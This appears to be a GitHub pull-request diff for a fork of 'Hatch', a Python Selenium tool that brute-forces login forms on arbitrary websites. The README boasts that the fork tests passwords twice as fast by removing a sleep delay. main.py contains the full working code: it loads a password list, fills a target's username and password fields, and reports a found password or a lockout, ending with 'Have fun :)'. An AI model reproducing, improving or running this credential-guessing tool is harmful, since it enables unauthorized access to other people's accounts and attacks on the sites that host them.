Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 24 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,19 +1,37 @@
# Hatch
Hatch is a brute force tool that is used to brute force most websites

# Update! recoded by FlroianBord2
You can run Hatch with python3 now.
The main purpose of this fork is to improve the number of passwords tested by second.
The original code call a two-second sleep between each try, I replace this by the 'wait until presence of element located'

time.sleep(2) -> wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, login_btn_selector)))

The process is two times faster with this modification.

# Update! v.1.3
added arg support **yay**
<br>
-h, --help show this help message and exit<br>
-u USERNAME, --username=USERNAME Choose the username<br>
--usernamesel=USERNAMESEL Choose the username selector<br>
--passsel=PASSSEL Choose the password selector<br>
--loginsel=LOGINSEL Choose the login button selector<br>
--passlist=PASSLIST Enter the password list directory<br>
--website=WEBSITE choose a website<br>
dont worry if you load up the tool without any args youll go to the default wizard!
Also i removed the apt xvfb and pip2 pyvirtualdisplay
## Installation Instructions
```
git clone https://github.com/MetaChar/Hatch
python2 main.py
python3 main.py
```

## Requirements
```
pip2 install selenium
pip2 install pyvirtualdisplay
pip2 install requests
sudo apt-get install xvfb
pip3 install selenium
pip3 install requests
```
chrome driver and chrome are also required!
link to chrome driver: http://chromedriver.chromium.org/downloads
Expand All @@ -28,5 +46,5 @@ copy it to bin!
6). Watch it go!

## How to use (Video)
[![IMAGE ALT TEXT](https://i.ytimg.com/vi/Hd_kQVnajxk/1.jpg)](https://youtu.be/Hd_kQVnajxk "Video Title")
[![IMAGE ALT TEXT](https://i.ytimg.com/vi/Hd_kQVnajxk/hqdefault.jpg?sqp=-oaymwEZCPYBEIoBSFXyq4qpAwsIARUAAIhCGAFwAQ==&rs=AOn4CLC7N67-Q67WAxMViUrHWJDdnkSM9A)](https://youtu.be/Hd_kQVnajxk "Video Title")

128 changes: 86 additions & 42 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,24 +1,20 @@
# Coded by METACHAR
# Looking to work with other hit me up on my email @metachar1@gmail.com <--

import datetime
from selenium import webdriver
from sys import stdout
import sys
import time as t
import datetime
import selenium
import requests
now = datetime.datetime.now()
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from pyvirtualdisplay import Display
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC


display = Display(visible=1, size=(800, 800))
display.start()
driver = webdriver.Chrome()
options = webdriver.ChromeOptions()
options.add_argument("--disable-popup-blocking")
options.add_argument("--disable-extensions")
count = 1 #count
driver.get('https://www.google.com')

#Graphics
class color:
Expand All @@ -35,20 +31,26 @@ class color:
CWHITE = '\33[37m'


banner = color.BOLD + color.RED +'''
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
{0}[{1}-{2}]--> {3}V.1.0
{4}[{5}-{6}]--> {7}coded by Metachar
{8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
#Config#
parser = OptionParser()
now = datetime.datetime.now()


def main():
#Args
parser.add_option("-u", "--username", dest="username",help="Choose the username")
parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()




def wizard():
print (banner)
website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
Expand All @@ -57,6 +59,8 @@ def main():
if request.status_code == 200:
print (color.GREEN + '[OK]'+color.CWHITE)
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
exit()
Expand All @@ -66,32 +70,72 @@ def main():
t.sleep(1)
print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
exit()
username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')

username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)

def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
f = open(pass_list, 'r')
driver = webdriver.Chrome()
options = webdriver.ChromeOptions()
options.add_argument("--disable-popup-blocking")
options.add_argument("--disable-extensions")
count = 1 #count
browser = webdriver.Chrome(chrome_options=options)
browser.get(website)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
browser = webdriver.Chrome(chrome_options=optionss)
wait = WebDriverWait(browser, 10)
while True:
try:
for line in f:
browser.get(website)
wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, login_btn_selector)))
Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
Sel_user.send_keys(username)
Sel_pas.send_keys(line)
print '------------------------'
print ('------------------------')
print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
print '------------------------'
print ('------------------------')
except KeyboardInterrupt: #returns to main menu if ctrl C is used
print('CTRL C')
break
except selenium.common.exceptions.NoSuchElementException:
print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
print ('LAST PASS ATTEMPT BELLOW')
print (color.GREEN + 'Password has been found: {0}'.format(line))
print (color.YELLOW + 'Have fun :)')
exit()

main()
banner = color.BOLD + color.RED +'''
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \\
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
{0}[{1}-{2}]--> {3}V.1.0
{4}[{5}-{6}]--> {7}coded by Metachar
{8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)

if options.username == None:
if options.usernamesel == None:
if options.passsel == None:
if options.loginsel == None:
if options.passlist == None:
if options.website == None:
wizard()


username = options.username
username_selector = options.usernamesel
password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print (banner)
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)